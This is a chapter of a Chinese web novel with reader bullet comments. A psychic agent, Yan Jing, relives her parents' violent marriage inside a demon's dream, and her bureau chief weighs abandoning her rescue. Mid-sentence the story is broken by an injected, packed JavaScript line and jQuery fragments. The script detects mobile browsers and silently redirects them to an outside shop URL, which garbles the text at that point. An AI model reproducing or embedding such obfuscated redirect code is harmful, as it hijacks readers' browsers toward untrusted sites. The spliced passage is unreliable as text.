言静在做噩梦,一场她没办法醒过来的噩梦。
自从觉醒灵能,言静的耳边就总是安静的。
这很好,她很喜欢。
曾经小小的女孩缩在房间里,听见客厅里父母的争吵声,越来越大,直至演变成噼里啪啦的打斗声,只能无力地捂住耳朵。
只要假装听不见,就能维持虚假的宁静。
可是,耳朵听不见,但眼睛能看见。
言静看到父亲的脑袋上被椅子砸出来的肿包,看到母亲手里的淤青……
【言母的战斗力好猛,那一椅子下去,言父懵了,我也懵了】
【大型家庭互殴现场,就是对旁观小孩不太友好】
【这算是家暴吗?不是单方面一方对另一方输出】
【受到伤害就算,顶多共轭受害者和加害者】
【那小孩也是受害者吧】
她没办法欺骗自己了。
言静等一切宁静后,像是每一个在戏剧落幕后、处理一地狼藉的后台人员,端着药水纱布进父亲的房间帮忙处理伤口,又拿着膏药贴进母亲的房间帮忙敷药。最后回到客厅,打扫卫生,把破碎的家具和无用的垃圾丢出去,继续维持宁静的假象
她夹在狂风与暴雨中间,试图寻找一片属于自己的宁静。
但小船实在太小了,小到她哪怕努力踮起脚尖,也找不到自己的落脚点。
父母的离婚撕碎了她最后的立足地。
【不幸的婚姻对孩子的伤害太大了】
言静跟母亲离开了,自此再没有见过父亲。
继父是个很好的叔叔,但他同时也是母亲的爱人,新出世弟弟、妹妹的父亲,独独做不了言静的父亲。
父亲。
喊了十年的名称要换给另一个人。
母亲。
不再只是她的母亲,她还会是弟弟妹妹的母亲。
言静谁都不恨,她只是有点累,喜欢自己找一个安静的地方呆着。
【宝这是被忽略了】
【感觉看到小时候的自己】
【重组家庭……唉……】
小孩子的哭声太刺耳了,夫妻俩哄孩子的声音从墙缝里、从门板下、从窗户口一直钻进她的耳朵里。
她捂着耳朵,像是捂住唯一能握住的过去,抵抗着变幻莫测的未来。
在强烈的愿望下,灵能出现了。
世界安静了。
言静终于能安心入睡了。
睡梦里,言静看到自己在走,一直在走,不知疲倦。沿着一条宽阔的道路,像是迎着未来,走向自己注定的命运。
平静的河面接纳了言静的到来。
磨镜般的水面倒映出她现在的模样,眼眸的两抹鲜红像是父亲脑袋上的肿包,又像是母亲手臂的瘀血,他们在这一刻又一次和平的相处一地了。
就如同七年前的葬礼。
父亲作为缉查局行动队员死在了玛瑙分局的怪物袭击中,母亲听闻消息,带着言静去送了最后一程。
石碑是冰冷的,母亲的话语是冷静的地表下涌动着的岩浆。
“不论如何……”
母亲停顿了一下,叹息声夹杂在风里,轻柔和缓,融进无声屏障里,飘进言静的耳中。
“他是一个真正的英雄。”
【他或许处理家庭关系是狗熊,但却是与怪物战至最后一刻的英雄】
【不完美的英雄也是英雄】
英雄……
我也能成为被众人注视、认可的英雄吗?
夹缝中的言静找到了根系的立足点,枝蔓一点点攀爬,直至来到阳光下,享受久违的温暖。
言静喜欢玛瑙分局的大家,喜欢明明喝不了苦咖啡但总是嘴硬着要买来装样子的局长,喜欢总在治疗结束后碎碎念的副局,喜欢不想加班只想摆烂的行动队总队长,喜欢耿直认真好忽悠的队友……
所以,快住手。
不要把我最后的宁静之地夺走。
【啊啊啊怪物快去死!】
河面静静倒映出一个高马尾的女人。
她一脸痛苦,右手挣扎着拿出一把刀,对准自己的胸口,但她仿佛在与无形的东西对抗,刀刃停留在衣物上方的一厘米处,迟迟刺不下去。
半响,女人左手握住了右手的腕部,匕首掉落水面,平静被打破了,溅起一片水花。
女人缓缓笑了起来,温柔的,如同一个体贴的母亲,带着几分宠溺对待自己的孩子。
【这是不是在模仿言静记忆中的母亲?】
“乖一点,不要打扰大人办事哦~”
高马尾的发绳崩断,黑色的长发散落在肩膀、后背,苍白的脸色带着轻柔的笑容,双眸微弯,说出的话语带着蛊惑人心的力量。
“乖孩子就留在这里,好不好?”
“不要泄密给缉查局和惊喜嘉宾哦~”
她略略抬头,意味深长地看了一眼天空的飞鸟,仔细看会发现这只鸟飞翔的动作有点僵硬,不够自然流畅。
“唯一能对抗魔王的灵探先生,不知道你会怎么应对呢?”
.
“应对方法暂定这样。”
玛瑙分局的沙妙局长端起咖啡,喝了一口打算缓解一下口渴,结果被入口的苦涩咽住了。在这么多人面前,她只能艰难地吞下去,像含着一口沙石,一如得知言静出事的消息时,忍住内心的苦痛,做出放弃救援的决定,不想增加无畏的牺牲。
明明才三十二岁,但沙妙局长总有一种自己已经是迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509470|202935||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
暮老人的错觉。
或许是她见证了太多的离去。
事实上,她确实是待在玛瑙分局最久的人——大部分前辈都死在了七年前,成为冰冷的一串数字,石碑上被纪念的英雄。
英雄……多么伟大悲哀的两个字,一笔一划都是血肉骨髓组成的。
沙妙局长曾经的队长也成为了笔画的一部分,逐渐在时间中模糊。
直到言静的到来,模糊的影像从记忆深处跳出,怪不得有故人之姿,原来是故人之女。
只是如今,恐怕也要步故人后尘,先一步离去。
沙妙局长从毕青那里得知言静出事的消息后,历经风吹雨打的石碑在她眼前浮现。
一个、两个、三个……无数的石碑注视着她、审视着她、评判着她的一举一动。
好沉重。
【责任啊】
【太过于负责的人活着会很累】
于是,沙妙局长只能抱歉地看着毕青,毕青瞬间明白了沙妙局长的决定。
不是所有人都能跨越灵能等级的壁垒对抗怪物,同级别里,往往是怪物更胜一筹,何况还是魔化的S级怪物,C级的毕青做不到,A级的沙妙也做不到。
但五级灵探李维序做到了,以A级灵能师的身份把S级恶魔赶跑了,并且被赶走的恶魔还是那个传说中的恶魔导师。
在李维序不知道的情况下,他的名字早已传遍了缉查局。
【也就是说李子分发到每一个缉查局了】
【那很好吃了?】
毕青还年轻,他还没有尝试过太多的无能为力,不懂当生命与生命在天平两端抉择的痛苦,他只想要试着救人,用尽一切办法。
于是,毕青跑到总局找侦查部部长寻求帮助,部长是S级灵能师,有实力救人。
但遭到了部长拒绝,因为同时间还有一个四人小队遇险,毕青找到对方时,部长正赶着去救人。
【原本还觉得局长、部长冷血,现在感觉都不容易啊】
毕青没办法,只能找到总局局长丰海年,不幸的是,总局长也没办法离开总部救人。
每个缉查局局长都是被困在缉查局的囚徒,而副局长则是看守监牢的狱卒,他们像是两根定海神针,描定了怪物与人类之间的波涛汹涌,哪怕风浪再大,表层海面的生活也总是平静的,为人类保有最后的退路。
【致敬】
很难描述毕青那一刻的心情,绝望无疑是其中最强烈的情绪,牢牢控住了他的身体,让他僵立当场。
直到总局长的一句话,把他从地狱拽到天堂。
“李维序先生会过来帮忙。”
这句话对毕青来说是天籁之音。
【天使之音怎么不是一种天籁之音】